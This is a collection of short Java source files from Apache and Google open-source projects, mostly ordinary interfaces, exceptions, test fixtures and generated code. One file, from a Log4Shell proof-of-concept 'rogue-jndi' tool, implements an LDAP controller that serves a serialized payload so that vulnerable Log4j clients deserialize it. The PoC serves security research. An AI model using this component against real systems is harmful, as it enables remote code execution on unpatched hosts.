* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package org.apache.skywalking.oap.server.exporter.provider.grpc;
import org.apache.skywalking.oap.server.core.analysis.metrics.IntValueHolder;
public class MockIntValueMetrics extends MockMetrics implements IntValueHolder {
@Override
public int getValue() {
return 12;
}
}
|
apache/skywalking | 1,101 | oap-server/server-core/src/main/java/org/apache/skywalking/oap/server/core/query/type/EBPFProfilingSchedule.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package org.apache.skywalking.oap.server.core.query.type;
import lombok.Data;
@Data
public class EBPFProfilingSchedule {
private String scheduleId;
private String taskId;
private String processId;
private Process process;
private long startTime;
private long endTime;
} |
apache/storm | 1,109 | external/storm-kafka-client/src/main/java/org/apache/storm/kafka/trident/mapper/TridentTupleToKafkaMapper.java | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.storm.kafka.trident.mapper;
import java.io.Serializable;
import org.apache.storm.trident.tuple.TridentTuple;
public interface TridentTupleToKafkaMapper<K, V> extends Serializable {
K getKeyFromTuple(TridentTuple tuple);
V getMessageFromTuple(TridentTuple tuple);
}
|
apache/streampark | 1,055 | streampark-flink/streampark-flink-connector/streampark-flink-connector-base/src/main/java/org/apache/streampark/flink/connector/function/TransformFunction.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.streampark.flink.connector.function;
import java.io.Serializable;
@FunctionalInterface
public interface TransformFunction<T, R> extends Serializable {
/**
* @param bean: bean
* @return String:
*/
R transform(T bean);
}
|
apache/streampipes | 1,110 | streampipes-wrapper-flink/src/main/java/org/apache/streampipes/wrapper/flink/FlinkDataSinkProgram.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package org.apache.streampipes.wrapper.flink;
import org.apache.streampipes.wrapper.params.compat.SinkParams;
public abstract class FlinkDataSinkProgram<T extends SinkParams> implements IDataSinkProgram {
protected T params;
public FlinkDataSinkProgram(T params) {
this.params = params;
}
}
|
apache/syncope | 1,107 | core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/data/wa/WAClientAppDataBinder.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.syncope.core.provisioning.api.data.wa;
import org.apache.syncope.common.lib.wa.WAClientApp;
import org.apache.syncope.core.persistence.api.entity.am.ClientApp;
@FunctionalInterface
public interface WAClientAppDataBinder {
WAClientApp getWAClientApp(ClientApp clientApp);
}
|
apache/syncope | 1,112 | core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/JobStatusDAO.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.syncope.core.persistence.api.dao;
public interface JobStatusDAO {
String JOB_FIRED_STATUS = "JOB_FIRED";
String UNKNOWN_STATUS = "UNKNOWN";
boolean lock(String key);
void unlock(String key);
void set(String key, String status);
String get(String key);
}
|
apache/syncope | 1,122 | common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/TicketExpirationPolicyConf.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.syncope.common.lib.policy;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import org.apache.syncope.common.lib.BaseBean;
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.PROPERTY, property = "_class")
public interface TicketExpirationPolicyConf extends BaseBean {
}
|
apache/systemds | 1,126 | src/main/java/org/apache/sysds/runtime/compress/workload/OpNormal.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.sysds.runtime.compress.workload;
import org.apache.sysds.hops.Hop;
public class OpNormal extends Op {
protected final boolean outC;
public OpNormal(Hop op, boolean compressedOut) {
super(op);
outC = compressedOut;
}
@Override
public boolean isCompressedOutput() {
return outC;
}
}
|
apache/tapestry-5 | 1,108 | tapestry-ioc/src/main/java/org/apache/tapestry5/ioc/internal/services/SystemPropertiesSymbolProvider.java | // Copyright 2006 The Apache Software Foundation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package org.apache.tapestry5.ioc.internal.services;
import org.apache.tapestry5.ioc.services.SymbolProvider;
/**
* Obtains symbol values from JVM System properties. This implementation is usually ordered first, so that explicit
* overrides, provided as JVM system properties, can take effect.
*/
public class SystemPropertiesSymbolProvider implements SymbolProvider
{
@Override
public String valueForSymbol(String symbolName)
{
return System.getProperty(symbolName);
}
}
|
apache/tomee | 1,078 | arquillian/arquillian-tomee-tests/arquillian-tomee-webprofile-tests/src/test/java/org/apache/openejb/arquillian/tests/jsp/DataBusinessHome.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.openejb.arquillian.tests.jsp;
import jakarta.ejb.CreateException;
import jakarta.ejb.EJBHome;
import java.rmi.RemoteException;
public interface DataBusinessHome extends EJBHome {
DataBusiness create() throws RemoteException, CreateException;
}
|
apache/tomee | 1,121 | tomee/tomee-security/src/main/java/org/apache/tomee/security/http/openid/model/TomEEOpenIdClaims.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.tomee.security.http.openid.model;
import jakarta.json.JsonObject;
import jakarta.security.enterprise.identitystore.openid.OpenIdClaims;
public class TomEEOpenIdClaims extends TomEEJsonClaims implements OpenIdClaims {
public TomEEOpenIdClaims(JsonObject claims) {
super(claims);
}
}
|
apache/tomee | 1,146 | container/openejb-core/src/main/java/org/apache/openejb/junit/Module.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.openejb.junit;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
@Deprecated // use org.apache.openejb.testing.Module
public @interface Module {
}
|
apache/tsfile | 1,136 | java/tsfile/src/main/java/org/apache/tsfile/encrypt/EncryptParameter.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.tsfile.encrypt;
public class EncryptParameter {
private final String type;
private final byte[] key;
public EncryptParameter(String type, byte[] key) {
this.type = type;
this.key = key;
}
public byte[] getKey() {
return key;
}
public String getType() {
return type;
}
}
|
apache/twill | 1,139 | twill-core/src/main/java/org/apache/twill/kafka/client/Compression.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.twill.kafka.client;
/**
* An Enum representing different compression codec options for publishing messages.
*/
public enum Compression {
NONE,
GZIP,
SNAPPY;
private final String codec;
Compression() {
this.codec = name().toLowerCase();
}
public String getCodec() {
return codec;
}
}
|
apache/uniffle | 1,133 | common/src/main/java/org/apache/uniffle/common/exception/NoRegisterException.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.uniffle.common.exception;
public class NoRegisterException extends NotRetryException {
public NoRegisterException(String message) {
super(message);
}
public NoRegisterException(Throwable e) {
super(e);
}
public NoRegisterException(String message, Throwable e) {
super(message, e);
}
}
|
apache/wicket | 1,116 | wicket-examples/src/main/java/org/apache/wicket/examples/asemail/MailTemplateApplication.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.wicket.examples.asemail;
import org.apache.wicket.Page;
import org.apache.wicket.examples.WicketExampleApplication;
/**
*
*/
public class MailTemplateApplication extends WicketExampleApplication
{
@Override
public Class<? extends Page> getHomePage()
{
return MailTemplate.class;
}
}
|
apache/wicket | 1,129 | wicket-core-tests/src/test/java/org/apache/wicket/markup/resolver/inparent/HomePage.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.wicket.markup.resolver.inparent;
import org.apache.wicket.markup.resolver.inparent.base.BasePage;
/**
* The child page which needs to resolve a resource in the inherited markup which will be
* auto-linked
*/
public class HomePage extends BasePage
{
private static final long serialVersionUID = 1L;
}
|
google/bindiff | 1,112 | java/zylib/src/main/java/com/google/security/zynamics/zylib/general/comparators/DateComparator.java | // Copyright 2011-2024 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package com.google.security.zynamics.zylib.general.comparators;
import java.io.Serializable;
import java.util.Comparator;
import java.util.Date;
public class DateComparator implements Comparator<Date>, Serializable {
/** Used for serialization. */
private static final long serialVersionUID = -846090338272302586L;
@Override
public int compare(final Date o1, final Date o2) {
if (o1.before(o2)) {
return -1;
} else if (o1.equals(o2)) {
return 0;
} else {
return 1;
}
}
}
|
google/error-prone | 1,078 | core/src/test/java/com/google/errorprone/refaster/testdata/input/PlaceholderAllowedVarsTemplateExample.java | /*
* Copyright 2017 The Error Prone Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.errorprone.refaster.testdata;
public class PlaceholderAllowedVarsTemplateExample {
public void shouldMatch() {
String accum = "foo";
if (!"foo".equals("bar")) {
System.out.println("in if");
accum += "bar";
}
System.out.println("foo");
}
public void shouldNotMatch() {
String accum = "foo";
if (!"foo".equals("bar")) {
System.out.println(accum);
accum += "bar";
}
System.out.println("foo");
}
}
|
google/guice | 1,147 | extensions/servlet/src/com/google/inject/servlet/SessionScoped.java | /*
* Copyright (C) 2006 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.inject.servlet;
import com.google.inject.ScopeAnnotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
/**
* Apply this to implementation classes when you want one instance per session.
*
* @see com.google.inject.Scopes#SINGLETON
* @author crazybob@google.com (Bob Lee)
*/
@Target({ElementType.TYPE, ElementType.METHOD})
@Retention(RetentionPolicy.RUNTIME)
@ScopeAnnotation
public @interface SessionScoped {}
|
google/guice | 1,153 | core/src/com/google/inject/binder/AnnotatedBindingBuilder.java | /*
* Copyright (C) 2006 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.inject.binder;
import java.lang.annotation.Annotation;
/**
* See the EDSL examples at {@link com.google.inject.Binder}.
*
* @author crazybob@google.com (Bob Lee)
*/
public interface AnnotatedBindingBuilder<T> extends LinkedBindingBuilder<T> {
/** See the EDSL examples at {@link com.google.inject.Binder}. */
LinkedBindingBuilder<T> annotatedWith(Class<? extends Annotation> annotationType);
/** See the EDSL examples at {@link com.google.inject.Binder}. */
LinkedBindingBuilder<T> annotatedWith(Annotation annotation);
}
|
google/j2cl | 1,085 | junit/generator/javatests/com/google/j2cl/junit/integration/async/data/TestReturnTypeNotStructuralPromiseThenParameterCount.java | /*
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.j2cl.junit.integration.async.data;
import com.google.j2cl.junit.async.AsyncTestRunner;
import jsinterop.annotations.JsType;
import org.junit.Test;
import org.junit.runner.RunWith;
/** Integration test used in J2clTestRunnerTest. */
@RunWith(AsyncTestRunner.class)
public class TestReturnTypeNotStructuralPromiseThenParameterCount {
@JsType
public static class Thenable {
public void then(Object o) {}
}
@Test
public Thenable test() {
return null;
}
}
|
google/j2cl | 1,131 | junit/generator/javatests/com/google/j2cl/junit/apt/AdvancedJUnit3TestCase.java | /*
* Copyright 2015 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.j2cl.junit.apt;
/**
* A Unit test to test processing in {@link J2clTestingProcessingStepTest}.
*/
public class AdvancedJUnit3TestCase extends AdvancedJUnit3TestCaseParent {
public void test() {}
public void test1() {}
public void notTest() {}
// Not considered a test as the method has parameters
@SuppressWarnings("JUnit3TestNotRun")
public void testHasParamsSoNotATest(Object o) {}
@Override
public void testOverridenFromParent() {}
@Override
public void testOverridenFromGrandParent() {}
}
|
google/j2cl | 1,156 | jre/java/java/lang/UnsupportedOperationException.java | /*
* Copyright 2007 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package java.lang;
/**
* See <a
* href="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/UnsupportedOperationException.html">the
* official Java API doc</a> for details.
*/
public class UnsupportedOperationException extends RuntimeException {
public UnsupportedOperationException() {}
public UnsupportedOperationException(String message) {
super(message);
}
public UnsupportedOperationException(String message, Throwable cause) {
super(message, cause);
}
public UnsupportedOperationException(Throwable cause) {
super(cause);
}
}
|
google/oss-fuzz | 1,157 | projects/spring-integration/SimpleJsonSerializerFuzzer.java | // Copyright 2022 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
////////////////////////////////////////////////////////////////////////////////
import com.code_intelligence.jazzer.api.FuzzedDataProvider;
import com.code_intelligence.jazzer.api.FuzzerSecurityIssueMedium;
import org.springframework.integration.json.SimpleJsonSerializer;
public class SimpleJsonSerializerFuzzer {
public static void fuzzerTestOneInput(FuzzedDataProvider data) {
String string = data.consumeString(250);
String info = data.consumeRemainingAsString();
String json = SimpleJsonSerializer.toJson(string, info);
}
} |
google/security-research | 1,119 | pocs/log4j/rogue-jndi/src/main/java/artsploit/controllers/Deserialization.java | package artsploit.controllers;
import artsploit.Config;
import artsploit.annotations.LdapMapping;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import static artsploit.Utilities.makeJavaScriptString;
import static artsploit.Utilities.readSerializedPayload;
@LdapMapping(uri = { "/o=deserialization" })
public class Deserialization implements LdapController {
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("Sending LDAP Deserialization result for " + base);
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); // This needs to be one of the log4j allowed classes
e.addAttribute("javaSerializedData", readSerializedPayload("payload.bin"));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
|
google/u2f-ref-code | 1,120 | u2f-ref-code/java/src/com/google/u2f/tools/httpserver/servlets/RequestDispatcher.java | // Copyright 2014 Google Inc. All rights reserved.
//
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file or at
// https://developers.google.com/open-source/licenses/bsd
package com.google.u2f.tools.httpserver.servlets;
import java.io.IOException;
import java.util.HashMap;
import org.simpleframework.http.Request;
import org.simpleframework.http.Response;
import org.simpleframework.http.Status;
import org.simpleframework.http.core.Container;
public class RequestDispatcher implements Container {
private final HashMap<String, Container> servletMap = new HashMap<String, Container>();
public RequestDispatcher registerContainer(String path, Container container) {
servletMap.put(path, container);
return this;
}
@Override
public void handle(Request req, Response resp) {
Container container = servletMap.get(req.getPath().toString());
if (container == null) {
resp.setStatus(Status.NOT_FOUND);
try {
resp.close();
} catch (IOException ignored) {}
return;
}
container.handle(req, resp);
}
}
|
googleads/google-ads-java | 1,092 | google-ads-stubs-v19/src/main/java/com/google/ads/googleads/v19/common/NegativeKeywordListInfoOrBuilder.java | // Generated by the protocol buffer compiler. DO NOT EDIT!
// source: google/ads/googleads/v19/common/criteria.proto
// Protobuf Java Version: 3.25.7
package com.google.ads.googleads.v19.common;
public interface NegativeKeywordListInfoOrBuilder extends
// @@protoc_insertion_point(interface_extends:google.ads.googleads.v19.common.NegativeKeywordListInfo)
com.google.protobuf.MessageOrBuilder {
/**
* <pre>
* The NegativeKeywordListInfo shared set resource name.
* </pre>
*
* <code>optional string shared_set = 1;</code>
* @return Whether the sharedSet field is set.
*/
boolean hasSharedSet();
/**
* <pre>
* The NegativeKeywordListInfo shared set resource name.
* </pre>
*
* <code>optional string shared_set = 1;</code>
* @return The sharedSet.
*/
java.lang.String getSharedSet();
/**
* <pre>
* The NegativeKeywordListInfo shared set resource name.
* </pre>
*
* <code>optional string shared_set = 1;</code>
* @return The bytes for sharedSet.
*/
com.google.protobuf.ByteString
getSharedSetBytes();
}
|
googleads/google-ads-java | 1,092 | google-ads-stubs-v20/src/main/java/com/google/ads/googleads/v20/common/NegativeKeywordListInfoOrBuilder.java | // Generated by the protocol buffer compiler. DO NOT EDIT!
// source: google/ads/googleads/v20/common/criteria.proto
// Protobuf Java Version: 3.25.7
package com.google.ads.googleads.v20.common;
public interface NegativeKeywordListInfoOrBuilder extends
// @@protoc_insertion_point(interface_extends:google.ads.googleads.v20.common.NegativeKeywordListInfo)
com.google.protobuf.MessageOrBuilder {
/**
* <pre>
* The NegativeKeywordListInfo shared set resource name.
* </pre>
*
* <code>optional string shared_set = 1;</code>
* @return Whether the sharedSet field is set.
*/
boolean hasSharedSet();
/**
* <pre>
* The NegativeKeywordListInfo shared set resource name.
* </pre>
*
* <code>optional string shared_set = 1;</code>
* @return The sharedSet.
*/
java.lang.String getSharedSet();
/**
* <pre>
* The NegativeKeywordListInfo shared set resource name.
* </pre>
*
* <code>optional string shared_set = 1;</code>
* @return The bytes for sharedSet.
*/
com.google.protobuf.ByteString
getSharedSetBytes();
}
|
googleads/google-ads-java | 1,092 | google-ads-stubs-v21/src/main/java/com/google/ads/googleads/v21/common/NegativeKeywordListInfoOrBuilder.java | // Generated by the protocol buffer compiler. DO NOT EDIT!
// source: google/ads/googleads/v21/common/criteria.proto
// Protobuf Java Version: 3.25.7
package com.google.ads.googleads.v21.common;
public interface NegativeKeywordListInfoOrBuilder extends
// @@protoc_insertion_point(interface_extends:google.ads.googleads.v21.common.NegativeKeywordListInfo)
com.google.protobuf.MessageOrBuilder {
/**
* <pre>
* The NegativeKeywordListInfo shared set resource name.
* </pre>
*
* <code>optional string shared_set = 1;</code>
* @return Whether the sharedSet field is set.
*/
boolean hasSharedSet();
/**
* <pre>
* The NegativeKeywordListInfo shared set resource name.
* </pre>
*
* <code>optional string shared_set = 1;</code>
* @return The sharedSet.
*/
java.lang.String getSharedSet();
/**
* <pre>
* The NegativeKeywordListInfo shared set resource name.
* </pre>
*
* <code>optional string shared_set = 1;</code>
* @return The bytes for sharedSet.
*/
com.google.protobuf.ByteString
getSharedSetBytes();
}
|
googlearchive/gwt-google-apis | 1,115 | search/search/src/com/google/gwt/search/client/impl/BookSearchRestrict.java | /*
* Copyright 2008 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.gwt.search.client.impl;
import com.google.gwt.search.jsio.client.JSOpaque;
/**
* Used with {@link GbookSearch#setRestriction(com.google.gwt.search.client.Search, JSOpaque, JSOpaque)}
* control the types of results displayed.
*/
public enum BookSearchRestrict {
TYPE("RESTRICT_TYPE"), USER_LIST("USER_LIST");
private final JSOpaque value;
private BookSearchRestrict(String type) {
